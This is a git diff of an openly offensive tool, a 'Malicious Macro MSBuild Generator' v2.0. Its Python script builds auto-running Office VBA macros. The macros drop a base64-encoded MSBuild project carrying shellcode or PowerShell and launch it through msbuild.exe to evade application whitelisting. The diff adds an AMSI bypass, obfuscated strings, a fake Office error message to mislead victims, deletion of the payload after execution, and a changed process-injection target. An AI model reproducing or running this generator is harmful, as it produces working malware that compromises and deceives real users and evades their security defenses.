diff --git a/README.md b/README.md index 9145ee4..62f245b 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Malicious Macro MSBuild Generator +# Malicious Macro MSBuild Generator 2.0 ## Description Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass. @@ -11,12 +11,27 @@ Adversaries can use MSBuild to proxy execution of code through a trusted Windows MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. +## Changelog +* Added Option Macro AMSI Bypass (Thanks to outflank team) +* Added PPID Spoofing {9BA05972-F6A8-11CF-A442-00A0C90A8F39} +* Added functionality auto removed csproj payload after execution +* Added custom msbuild option + ## Usage ``` -usage: M3G.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT + /$$ /$$ /$$$$$$ /$$$$$$ +| $$$ /$$$ /$$__ $$ /$$__ $$ +| $$$$ /$$$$|__/ \ $$| $$ \__/ +| $$ $$/$$ $$ /$$$$$/| $$ /$$$$ +| $$ $$$| $$ |___ $$| $$|_ $$ +| $$\ $ | $$ /$$ \ $$| $$ \ $$ +| $$ \/ | $$| $$$$$$/| $$$$$$/ +|__/ |__/ \______/ \______/ -M3G - Malicious Macro MSBuild Generator v1.0 +Malicious Macro MSBuild Generator v2.0 Author : Rahmat Nurfauzi (@infosecn1nja) + +usage: m3-gen.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT [-a] optional arguments: -h, --help show this help message and exit @@ -26,6 +41,7 @@ optional arguments: Choose a payload for powershell or raw shellcode -o OUTPUT, --output OUTPUT Output filename for the macro + -a, --amsi_bypass Macro AMSI Bypass Execute via ms office trusted location ``` ## Example diff --git a/m3-gen.py b/m3-gen.py new file mode 100755 index 0000000..87723cd --- /dev/null +++ b/m3-gen.py @@ -0,0 +1,259 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# + +import os, re, sys, base64 +import random, string, argparse + +def chunks(l, n): + for i in xrange(0, len(l), n): + yield l[i:i+n] + +def gen_str(): + return ''.join(random.choice(string.letters) for i in range(random.randint(12,20))) + +def minimize(output): + output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output) + output = output.replace('\n', '') + output = re.sub(r'\s{2,}', ' ', output) + output = re.sub(r'\s+([^\w])\s+', r'\1', output) + output = re.sub(r'([^\w"])\s+', r'\1', output) + + variables = { + 'payload' : 'x', + 'method' : 'm', + 'asm' : 'a', + 'instance' : 'o', + 'pipeline' : 'p', + 'runspace' : 'r', + 'decoded' : 'd' + } + + for k, v in variables.items(): + output = output.replace(k, v) + + return output + +def generate_shellcode(filename): + shellcode = '' + + if not os.path.exists(filename): + print '[!] File Not Found' + sys.exit(0) + + with open(filename) as f: + shellcode = bytes(bytearray(f.read())) + f.close() + + targetName = gen_str() + template = open('templates/MSBuild_shellcode.csproj','r').read() + msbuild = template.replace('[SHELLCODE]',base64.b64encode(shellcode)).replace('[TARGETNAME]',targetName) + + return msbuild + +def generate_powershell(filename): + powershell = '' + + if not os.path.exists(filename): + print '[!] File Not Found' + sys.exit(0) + + with open(filename, 'rb') as f: + inp = f.read() + powershell += inp + + ps = base64.b64encode(powershell) + targetName = gen_str() + template = open('templates/MSBuild_powershell.csproj','r').read() + msbuild = template.replace('[POWERSHELL]',ps).replace('[TARGETNAME]',targetName) + + return msbuild + +def generate_custom(filename): + content = '' + + if not os.path.exists(filename): + print '[!] File Not Found' + sys.exit(0) + + with open(filename, 'rb') as f: + inp = f.read() + content += inp + + return content + +def generate_macro(msbuild_template, amsi_bypass=False): + Method = gen_str() + Method2 = gen_str() + Str = gen_str() + Str2 = gen_str() + + msbuild_encoded = base64.b64encode(minimize(msbuild_template)) + chunk = list(chunks(msbuild_encoded,200)) + + macro_str = '' + + if amsi_bypass == True: + macro_str += 'Function ' + Method2 + '()\n' + # https://github.com/outflanknl/Scripts/raw/master/AMSIbypasses.vba + macro_str += ' curfile = ActiveDocument.Path & "\" & ActiveDocument.Name\n' + macro_str += ' templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"\n' + macro_str += ' ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True\n' + macro_str += ' ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled\n' + macro_str += ' Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0\n' + macro_str += 'End Function\n\n' + + macro_str += "Sub AutoNew()\n" + macro_str += ' ' + Method + macro_str += '\nEnd Sub\n\n' + + macro_str += 'Function Base64Decode(ByVal vCode)\n' + macro_str += ' Dim oXML, oNode\n' + macro_str += ' Set oXML = CreateObject("Msxml2.DOMDocument.3.0")\n' + macro_str += ' Set oNode = oXML.CreateElement("base64")\n' + macro_str += ' oNode.dataType = "bin.base64"\n' + macro_str += ' oNode.Text = vCode\n' + macro_str += ' Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)\n' + macro_str += ' Set oNode = Nothing\n' + macro_str += ' Set oXML = Nothing\n' + macro_str += 'End Function\n' + + macro_str += '\nPrivate Function Stream_BinaryToString(Binary)\n' + macro_str += ' Const adTypeText = 2\n' + macro_str += ' Const adTypeBinary = 1\n' + macro_str += ' Dim BinaryStream\n' + macro_str += ' Set BinaryStream = CreateObject("ADODB.Stream")\n' + macro_str += ' BinaryStream.Type = adTypeBinary\n' + macro_str += ' BinaryStream.Open\n' + macro_str += ' BinaryStream.Write Binary\n' + macro_str += ' BinaryStream.Position = 0\n' + macro_str += ' BinaryStream.Type = adTypeText\n' + macro_str += ' BinaryStream.Charset = "us-ascii"\n' + macro_str += ' Stream_BinaryToString = BinaryStream.ReadText\n' + macro_str += ' Set BinaryStream = Nothing\n' + macro_str += 'End Function\n\n' + + macro_str += 'Function ' + Method + '()\n' + + payload = Str+" = \"" + str(chunk[0]) + "\"\n" + + for chk in chunk[1:]: + payload += " "+Str+" = "+Str+" + \"" + str(chk) + "\"\n" + + macro_str += ' ' + payload + + macro_str += '\n Open Environ("PUBLIC") & "\Downloads" & "\{}.csproj" For Output As #1\n'.format(Str2) + macro_str += ' Print #1, Base64Decode(' + Str + ')\n' + macro_str += ' Close #1\n\n' + + # https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3 + macro_str += ' Set SW = GetObject("n" & "e" & "w" & ":" & Replace("{9BA0###597###2-F6A###8-11CF###-A44###2-00A###0C9###0A8###F3###9}","###","")).Item()\n' + macro_str += ' SW.Document.Application.ShellExecute Replace("m###s###b###u###i###l###d###.e###x###e","###",""), Environ("PUBLIC") & "\Downloads" & "\{}.csproj", WhereIs(), Null, 0\n\n'.format(Str2) + + macro_str += ' MsgBox "This application appears to be made on an older version of the Microsoft Office product suite. Visit https://microsoft.com for more information. [ErrorCode: 4439]", vbExclamation, "Microsoft Office Corrupt Application (Compatibility Mode)"\n\n' + macro_str += ' WaitUntil = Now() + TimeValue("00:00:15")\n' + macro_str += ' Do While Now < WaitUntil\n' + macro_str += ' Loop\n' + macro_str += ' kill Environ("PUBLIC") & "\Downloads" & "\{}.csproj"\n'.format(Str2) + macro_str += 'End Function\n\n' + + if amsi_bypass == True: + Method = Method2 + + macro_str += 'Sub AutoOpen()\n' + macro_str += ' ' + Method + macro_str += '\nEnd Sub\n\n' + + macro_str += 'Sub Workbook_Open()\n' + macro_str += ' ' + Method + macro_str += '\nEnd Sub\n\n' + + macro_str += 'Function FileExists(ByVal FileToTest As String) As Boolean\n' + macro_str += ' FileExists = (Dir(FileToTest) <> "")\n' + macro_str += 'End Function\n\n' + + macro_str += 'Function WhereIs() As String\n' + macro_str += ' Dim business As String\n' + macro_str += ' Dim needful As String\n' + macro_str += ' Dim location_pw As String\n\n' + + macro_str += ' business = Replace("C:\Win###do###ws\###Micr###osof###t.NET\Fr###amewo###rk\\", "###", "")\n' + macro_str += ' needful = Replace("\ms###bu###ild.###exe", "###", "")\n\n' + macro_str += ' If FileExists(business & "v4.0.30319\\" & needful) Then\n' + macro_str += ' location_pw = business & "v4.0.30319\\"\n' + macro_str += ' ElseIf FileExists(business & "v3.5\\" & needful) Then\n' + macro_str += ' location_pw = business & "v3.5\\"\n' + macro_str += ' End If\n' + macro_str += ' WhereIs = location_pw\n' + macro_str += 'End Function' + + return macro_str + + +def output_file(filename,data): + output = open(filename,"w") + output.write(data) + output.close() + +def banner(): + return """ + /$$ /$$ /$$$$$$ /$$$$$$ +| $$$ /$$$ /$$__ $$ /$$__ $$ +| $$$$ /$$$$|__/ \ $$| $$ \__/ +| $$ $$/$$ $$ /$$$$$/| $$ /$$$$ +| $$ $$$| $$ |___ $$| $$|_ $$ +| $$\ $ | $$ /$$ \ $$| $$ \ $$ +| $$ \/ | $$| $$$$$$/| $$$$$$/ +|__/ |__/ \______/ \______/ + +Malicious Macro MSBuild Generator v2.0 +Author : Rahmat Nurfauzi (@infosecn1nja) + """ + +if __name__ == "__main__": + + print banner() + + parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument('-i','--inputfile', help='Input file you want to embed into the macro', required=True) + parser.add_argument('-p','--payload', help='Choose a payload for powershell, raw shellcode or custom', required=True) + parser.add_argument('-o','--output', help='Output filename for the macro', required=True) + parser.add_argument('-a','--amsi_bypass', help='Macro AMSI Bypass Execute via ms office trusted location', action='store_true') + + args = parser.parse_args() + + inputfile = args.inputfile + payload = args.payload + output = args.output + amsi_bypass = args.amsi_bypass + + msbuild_payload = '' + + if payload.lower() == 'shellcode': + msbuild_payload = generate_shellcode(inputfile) + elif payload.lower() == 'powershell': + msbuild_payload = generate_powershell(inputfile) + elif payload.lower() == 'custom': + msbuild_payload = generate_custom(inputfile) + else: + print '[!] Invalid type payload' + sys.exit(0) + + if msbuild_payload != '': + print "[*] Writing msbuild {} payload.".format(payload) + macro = generate_macro(msbuild_payload, amsi_bypass) + output_file(output,macro) + print "[*] {} macro sucessfully saved to disk.".format(output) diff --git a/templates/MSBuild_shellcode.csproj b/templates/MSBuild_shellcode.csproj index b01fb30..70a8ecb 100644 --- a/templates/MSBuild_shellcode.csproj +++ b/templates/MSBuild_shellcode.csproj @@ -39,7 +39,7 @@ byte[] shellcode = System.Convert.FromBase64String(strShellCode); - string processpath = @"C:\Windows\System32\wsmprovhost.exe"; + string processpath = @"C:\Windows\System32\searchprotocolhost.exe"; STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); bool success = CreateProcess(processpath, null,